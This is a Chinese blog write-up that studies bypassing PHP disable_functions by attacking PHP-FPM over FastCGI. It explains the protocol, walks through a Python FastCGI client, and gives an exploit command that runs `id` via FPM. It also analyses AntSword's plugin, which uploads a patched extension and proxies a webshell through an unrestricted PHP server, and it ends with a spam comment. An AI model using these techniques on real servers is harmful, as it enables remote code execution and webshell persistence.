攻击PHP-FPM 实现Bypass Disable Functions

文章最后更新时间为:2019年07月22日 13:37:16

最近蚁剑有个更新 ,其中有一条是Bypass Disable Functions插件的更新,绕过Disable Functions的原理是利用直接用 Webshell 请求 PHP-FPM/FastCGI,对于此种情况前段时间刚好遇到,其实也寻找了一些Bypass Disable Functions的方案,但是没有去深入研究过,正好趁最近实习不太忙,学习一下此种攻击方式。

1. PHP-FPM介绍

这部分可以参考这里

既然是攻击PHP-FPM,我们首先需要了解一下什么是PHP-FPM,研究过apache或者nginx的童鞋都知道,早期的websherver负责处理全部请求,其接收到请求,读取文件,传输过去,就像下面这样

www.baidu.com
     |
     |
webserver(apache)
     |
     |
webserver根据路径,读取/var/html/index.html
     |
     |
webserver将读取到的内容发回给客户端  

但是后来发展到PHP这种动态语言,webserver处理不了咋办呢?

那么能不能让webserver增加功能来处理请求呢?当然不行,因为动态语言那么多,python、php、jsp、asp...以后说不定还有很多新的动态语言,websherver当然不干这么蠢的事情,于是webserver将请求转发给php解释器,让他们自己去处理。

当然webserver不是简单的转发请求包给php解释器,而是根据协议对其进行重新封装,这个协议就叫CGI协议,对其进行封装的就是CGI程序。(后来CGI协议和程序都升级了,改名叫Fast-CGI)

请求包封装好了,接下来要把它发给php,具体发到哪里呢?这里也就是发给PHP-FPM程序,PHP-FPM按照Fast-CGI的协议将TCP流解析成真正的数据。

于是动态页面的请求就像下面这样。

www.example.com/index.php
        |
        |
      nginx
        |
        |
加载nginx的fast-cgi模块
        |
        |
fast-cgi对根据fast-cgi协议请求包进行封装,然后将封装好的包发给php-fpm
        |
        |
php-fpm 据fast-cgi协议将TCP流解析成真正的数据,调用php文件
        |
        |
php-fpm处理完请求,返回给nginx
        |
        |
nginx将结果通过http返回给浏览器

总结来说php-fpm是一个fastcgi协议解析器,负责按照fastcgi的协议将TCP流解析成真正的数据

PHP-FPM默认监听9000端口,我们可以自己构造fastcgi协议,和fpm进行通信。于是就有了利用 WebShell 直接与 PHP FastCGI (FPM) 来实现Bypass Disable Functions。具体怎么操作,继续往下看。

2. 安装PHP-FPM

想要研究利用原理,安装环境是第一步,这里我是在ubuntu18虚拟机上安装的步骤

sudo apt update
sudo apt install -y nginx
sudo apt install -y software-properties-common
sudo add-apt-repository -y ppa:ondrej/php
sudo apt update
sudo apt install -y php7.3-fpm

接下来设置fpm与nginx之间的通信,php-fpm的通信方式有tcp和套接字(unix socket)两种方式,详情参考 这里

接下来配置tcp模式下的php-fpm:

  1. sudo vim /etc/nginx/sites-enabled/default(默认配置文件地址,因环境会变化),去掉第57行开始的注释,设置为如下配置:
  2. sudo vim /etc/php/7.3/fpm/pool.d/www.conf,配置php-fpm的监听为120.0.0.1:9000。
  3. 重启php-fpm和nginx

    /etc/init.d/php7.3-fpm restart
    service nginx restart

    此时查看9000端口:(如果9000端口没开,则代表php-fpm没启动,尝试重启一下)

    ubuntu@ubuntu:/var/www/html$ sudo netstat -ap | grep 9000
    tcp        0      0 localhost:9000          0.0.0.0:*               LISTEN      32488/php-fpm: mast
  4. 检验一下,在/var/www/html新建个phpinfo.php,如下则代表成功。

3. 攻击PHP-FPM的原理

基本原理就是模仿nginx的fast-cgi,直接与php-fpm进行通信。在通信之前,我们首先需要了解一下其通信包的构成。

3.1 fastcgi协议

Fastcgi协议由多个record组成,record也有header和body一说,但是和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其结构如下:

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 请求包的类型
  unsigned char requestIdB1; // 请求包id高8位
  unsigned char requestIdB0; // 请求包id低8位
  unsigned char contentLengthB1; // body长度高8位
  unsigned char contentLengthB0; // body长度低8位
  unsigned char paddingLength; // 结尾填充长度
  unsigned char reserved;   // 保留字节

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

可以看出一个请求头为8个字节。其参数解释如下:

  • version:用来表示版本信息,如果是web服务器给php-fpm发送的消息,请求头中只需要将其置0就可以
  • type:此字段用来说明每次所发送消息的类型,其具体值可以为如下:
  • requestId:占俩个字节,一个唯一的标志id,以避免同时处理多个请求时的影响。
  • contentLength:占2个字节,表示body的长度。语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。
  • paddingLength:填充长度的值,为了提高处理消息的能力,我们的每个消息大小都必须为8的倍数,此长度标示,我们在消息的尾部填充的长度
  • reserved:保留字段

3.2 fastcgi客户端脚本分析

协议的内容大致了解了,接下来就是写代码,封装一下请求包。已经有前辈做了这件事情-->https://github.com/wuyunfeng/Python-FastCGI-Client,我们来尝试分析一下代码。

#!/usr/bin/python

import socket
import random


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # 版本号,不重要
    __FCGI_VERSION = 1

    # FastCGI服务器角色及其设置
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    # # type 记录类型1-11
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
    
    # 头部长度,默认为8
    __FCGI_HEADER_SIZE = 8

    # 自定义请求状态
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        # 此函数创建了一个socket,并且去连接(self.host, self.port)
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        # 此函数根据fcgi_type对content进行封装
        length = len(content)
        return chr(FastCGIClient.__FCGI_VERSION) \
               + chr(fcgi_type) \
               + chr((requestid >> 8) & 0xFF) \
               + chr(requestid & 0xFF) \
               + chr((length >> 8) & 0xFF) \
               + chr(length & 0xFF) \
               + chr(0) \
               + chr(0) \
               + content

    def __encodeNameValueParams(self, name, value):
        # 此函数对body进行编码
        nLen = len(str(name))
        vLen = len(str(value))
        record = ''
        if nLen < 128:
            record += chr(nLen)
        else:
            record += chr((nLen >> 24) | 0x80) \
                      + chr((nLen >> 16) & 0xFF) \
                      + chr((nLen >> 8) & 0xFF) \
                      + chr(nLen & 0xFF)
        if vLen < 128:
            record += chr(vLen)
        else:
            record += chr((vLen >> 24) | 0x80) \
                      + chr((vLen >> 16) & 0xFF) \
                      + chr((vLen >> 8) & 0xFF) \
                      + chr(vLen & 0xFF)
        return record + str(name) + str(value)

    def __decodeFastCGIHeader(self, stream):
        # 此函数对header进行解码
        # 被用于__decodeFastCGIRecord函数的一部分
        header = dict()
        header['version'] = ord(stream[0])
        header['type'] = ord(stream[1])
        header['requestId'] = (ord(stream[2]) << 8) + ord(stream[3])
        header['contentLength'] = (ord(stream[4]) << 8) + ord(stream[5])
        header['paddingLength'] = ord(stream[6])
        header['reserved'] = ord(stream[7])
        return header

    def __decodeFastCGIRecord(self):
        # 此函数对record进行解码
        header = self.sock.recv(int(FastCGIClient.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = ''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                buffer = self.sock.recv(contentLength)
                while contentLength and buffer:
                    contentLength -= len(buffer)
                    record['content'] += buffer
            if 'paddingLength' in record.keys():
                skiped = self.sock.recv(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return
        # 区分多段Record.requestId作为同一次请求的标志
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = ""
        # 构造header
        beginFCGIRecordContent = chr(0) \
                                 + chr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + chr(self.keepalive) \
                                 + chr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)

        # 构造body
        paramsRecord = ''
        if nameValuePairs:
            for (name, value) in nameValuePairs.iteritems():
                # paramsRecord = self.__encodeNameValueParams(name, value)
                # request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, '', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, post, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, '', requestId)
        # 发送fast-cgi格式的包
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = ''
        # 接受返回包
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        # 接受返回包
        while True:
            response = self.__decodeFastCGIRecord()
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)

3.3 尝试对本地php-fpm进行攻击

这里利用的是P牛写的 exp

python fpm.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c '<?php echo `id`;exit;?>'

上面利用时还需要注意的是,我们需要知道一个服务端已知的php文件,因为php-fpm拿到fastcgi数据包后,先回去判断客户端请求的文件是否存在(即fastcgi数据包中的文件名),如果不存在就不会执行,并且由于security.limit_extensions这个配置,文件名必须是php后缀。如果不知道Web的绝对路径或者web目录下没有php文件,就可以指定一些php默认安装就存在的php文件
可以使用find / -name *.php查找自己服务器上有哪些php后缀的文件。

如果管理员为了方便把fastcgi监听端口设置为: listen = 0.0.0.0:9000而不是listen = 127.0.0.1:9000 这样子可以导致远程代码执行。

4. 使用webshell攻击PHP-FPM

一开始看到的项目是https://github.com/ttttmr/php-fpm,但是发现其只是用了P牛的脚本,并没有真正实现webshell攻击端口,而是将P牛写的脚本的请求包拦截下来,然后用php再发一遍,期待作者后续的更新吧。当然这种情况不能绕过Disable Functions,因为本质上还是原来的php解释器来解析,还是会加载php.ini。

接下来看下蚁剑的插件更新,https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5

首先跟着介绍走一遍,发现其上传了一个.antproxy.php,基于此脚本,实现了另一个webshell,同时可以执行命令了。来下webshell的内容:

<?php
    set_time_limit(120);
    $aAccess = curl_init();
    curl_setopt($aAccess, CURLOPT_URL, "http://127.0.0.1:60733/index.php?".$_SERVER['QUERY_STRING']);
......
<以下是发送请求和接受请求>

这里的webshell又向60733端口发送了payload,接下来看看60733端口是什么程序。

尝试了一系列命令:

root@ubuntu:~# docker ps
CONTAINER ID        IMAGE                                          COMMAND                  CREATED             STATUS              PORTS                                           NAMES
d294e4f4d7c9        nginx:1.17                                     "/bin/sh /start.sh"      About an hour ago   Up About an hour    0.0.0.0:18080->80/tcp, 0.0.0.0:18443->443/tcp   5_nginx_1
88f09ddf924f        antswordproject/antsword-labs:php-7.2.20-fpm   "docker-php-entrypoi…"   About an hour ago   Up About an hour    9000/tcp                                        5_phpfpm_1
root@ubuntu:~# docker exec -it 88f /bin/bash
root@88f09ddf924f:/var/www/html# 
.....
# 使用netstat需要安装net-tools
# 使用ps需要安装procps
.....
root@88f09ddf924f:/var/www/html# ps -aux |grep 60733
www-data     11  0.0  0.0   2388   760 ?        S    02:25   0:00 /bin/sh -c php -n -S 127.0.0.1:60733 -t /var/www/html                                                                                                                                                                                             
www-data     12  0.0  1.0  79136 22184 ?        S    02:53   0:00 php -n -S 127.0.0.1:60733 -t /var/www/html
root        404  0.0  0.0   3084   888 pts/0    S+   03:40   0:00 grep 60733

# 很奇怪,上面用netstat -anp | grep 60733和lsof -i:60733都没用。

从上面的程序可以看出来又运行了一个php server,监听的是60733端口,-n就是不使用php.ini,从而实现了bypass disable_functions。

通过什么方式运行新的php server?接下来看下插件源码--> 点击这里

关于php-fpm的代码在core/php_fpm/index.js。关键位置在133行的exploit()函数里面。

//首先随机生成一个php server 端口
let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000

//接下来138-151行验证fpm连接方式是否可行

//153-174行生成扩展
//let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;

//176行到194行上传扩展

//接下来197行开始构造请求包攻击php-fpm用来加载扩展
//构造请求包是加载了payload.js中的FastCgiClient类

//触发 Payload 后,就会执行启动一个新的 PHP Server

结论: 生成ext,攻击php-fpm执行ext,在目标机器本地开启一个新的web服务,然后再用受限制的 webshell 转发请求到新开启的服务上去。

到这里有个问题,生成的ext为什么可以执行,为什么不会受到disabled function限制?这里再回过头看下生成的ext是什么玩意。

// 生成 ext
let wdir = "";
if (self.isOpenBasedir) {
for (var v in self.top.infodata.open_basedir) {
  if (self.top.infodata.open_basedir[v] == 1) {
    if (v == self.top.infodata.phpself) {
      wdir = v;
    } else {
      wdir = v;
    }
    break;
  }
};
} else {
wdir = self.top.infodata.temp_dir;
}
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);
if (!fileBuffer) {
toastr.warning(PHP_FPM_LANG['msg']['genext_err'], LANG_T["warning"]);
self.cell.progressOff();
return
}

通过self.generateExt(cmd)生成了一个fileBuffer,然后通过下面代码传了上去。

core.filemanager.upload_file({
    path: ext_path,
    content: fileBuffer
})

那么重点就在于generateExt函数了,这个在core/base.js里面。

// 生成扩展
generateExt(cmd) {
    let self = this;
    let fileBuff = fs.readFileSync(self.ext_path);
    let start = 0, end = 0;
    switch (self.ext_name) {
      case 'ant_x86.so':
        start = 275;
        end = 504;
        break;
      case 'ant_x64.so':
        // 434-665
        start = 434;
        end = 665;
        break;
      case 'ant_x86.dll':
        start = 1544;
        end = 1683;
        break;
      case 'ant_x64.dll':
        start = 1552;
        end = 1691;
        break;
      default:
      break;
    }
    if(cmd.length > (end - start)) {
      return
    }
    fileBuff[end] = 0;
    fileBuff.write("                    ", start);
    fileBuff.write(cmd, start);
    return fileBuff;
  }

直接在so/dll文件的固定位置写进cmd命令。看一下ext/ant_x86.dll是什么:

简单粗暴,dll/so文件给cmd留点位置,需要执行啥命令就写啥命令进去。然后执行dll/so就可以执行该命令了。

5. 总结

关于利用原理,只能说是看个大概,会读不会写的那种,还是太菜了,一下午时间主要的是学习到了对php-fpm的攻击,接下来计划抽时间看看蚁剑Bypass Disable Functions的其他方式。

参考

1 + 9 =
1 评论
    weqr Chrome 63 Windows 7
    2019年07月23日 回复

    单号网 空包网 快递单号购买 快递代发就找www.danhw.com